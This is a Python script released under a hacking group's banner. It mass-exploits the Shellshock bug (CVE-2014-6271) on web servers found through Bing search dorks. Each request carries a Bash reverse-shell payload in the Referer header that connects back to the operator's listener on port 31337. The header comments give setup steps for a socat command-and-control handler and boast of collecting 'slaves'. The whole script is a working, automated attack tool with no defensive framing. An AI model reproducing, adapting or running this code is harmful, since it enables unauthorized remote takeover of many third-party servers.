We are... _____ _________ / _ \ ____ ____ ____ / _____/ ____ ____ / /_\ \ / \ / _ \ / \ \_____ \_/ __ \_/ ___\ / | \ | ( <_> ) | \/ \ ___/\ \___ \____|__ /___| /\____/|___| /_______ /\___ >\___ > \/ \/ \/ \/ \/ \/ //Laughing at your security since 2012* ================================================================================================= Official Members: Mrlele - AnonSec666 - 3r3b0s - d3f4ult - 4prili666h05t - Hannaichi - ap3x h4x0r - Gh05tFr3ak - xCyb3r 3vil7 - Hassouna Khalil - spider64 ================================================================================================= #!/usr/bin/env python # # \!/ Enter your No-Ip address or other listening address in line 91 \!/ # Launch socat tcp-l:31337,reuseaddr,fork exec:./ShellShock_Bot_CC before executing script! # # We are Anonsec # Beware of our Cyber-Mafia # We do not forgive # We do not forget # Expect Us # print "###########################################################" print "### ShellShock_Bot.py ###" print "### Mass Bing ShellShock Dork Exploiter ###" print "### CVE-2014-6271 ###" print "### *************************************************** ###" print "### \!/Anonsec\!/ ###" print "### \!/ SHELLS INCOMMING \!/ ###" print "### ###" print "### _.-''|''-._ ###" print "### .-' | `-. ###" print "### .'\ | /`. ###" print "### .' \ | / `. ###" print "### \ \ | / / ###" print "### `\ \ | / /' ###" print "### `\ \ | / /' ###" print "### `\ \ | / /' ###" print "### _.-`\ \ | / /'-._ ###" print "### ~~(8:> {_____`\\|//'______} ~~(8:> ###" print "### `-' ###" print "### ###" print "### twitter.com/_d3f4ult ###" print "###########################################################" from gevent import monkey monkey.patch_all() from gevent.pool import Pool from gevent import joinall import urllib import urllib2 import argparse import sys import json import socket socket.setdefaulttimeout(60) VULN_FOUND = None def parse_args(): #Create the arguments parser = argparse.ArgumentParser() parser.add_argument("-s", "--search", help="Search terms") parser.add_argument("-p", "--pages", default="1", help="Number of pages of results to fetch where there's 50 results per page; defaults to 1") parser.add_argument("-k", "--key", help="Your Bing API key found at https://datamarket.azure.com/account") return parser.parse_args() def bing_search(query, key, offset, **kwargs): #Make the search username = '' baseURL = 'https://api.datamarket.azure.com/Bing/Search/' query = urllib.quote(query) user_agent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)' credentials = (':%s' % key).encode('base64')[:-1] auth = 'Basic %s' % credentials url = baseURL+'Web?Query=%27'+query+'%27&$top=50&$format=json&$skip='+offset print '[*] Scanning -> '+url password_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm() password_mgr.add_password(None, url, username, key) handler = urllib2.HTTPBasicAuthHandler(password_mgr) opener = urllib2.build_opener(handler) urllib2.install_opener(opener) try: readURL = urllib2.urlopen(url, timeout=60).read() except Exception as e: sys.exit('[-] Failed to fetch bing results. Are you sure you have the right API key?\n Error: '+str(e)) return readURL def action(result): #Make the payloaded request and check the response's headers for the echo msg global VULN_FOUND exploit = "() { :;}; /bin/bash -i >& /dev/tcp/NO-IP/31337 0>&1" ua = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0' url = result['Url'] req = urllib2.Request(url) req.add_header('User-Agent', ua) req.add_header('Referer', exploit) try: r = urllib2.urlopen(req, timeout=60) except Exception as e: return resp_headers = r.info() if 'shellshock' in r.info(): VULN_FOUND = True print '[!] SHELLSHOCK VULNERABLE:', url return def result_concurrency(results): #Open all the greenlet threads in_parallel = 100 pool = Pool(in_parallel) jobs = [pool.spawn(action, result) for result in results] return joinall(jobs) def main(): args = parse_args() if not args.search: sys.exit('[!] Specify a search term, eg, ./shellshock_bot.py -s "dorks"') if not args.key: sys.exit('[!] Specify a Bing API key or get one here: https://datamarket.azure.com/dataset/bing/search') key = args.key if len(key) not in (44, 43): sys.exit('[-] Incorrect key length') query = args.search pages = int(args.pages) offset = 0 total_results = [] for x in xrange(pages): # Start off with offset = 0 if x != 0: offset += 50 response = bing_search(query, key, str(offset)) results = json.loads(response)['d']['results'] if len(results) == 0: print '[-] No more results found' break total_results += results print '[*] Trying to inject vuln targets... plz wait ~~(8:>' result_concurrency(total_results) if not VULN_FOUND: print '[+] Check ShellShock_Bot_CC for new slaves [+]' if __name__ == "__main__": main()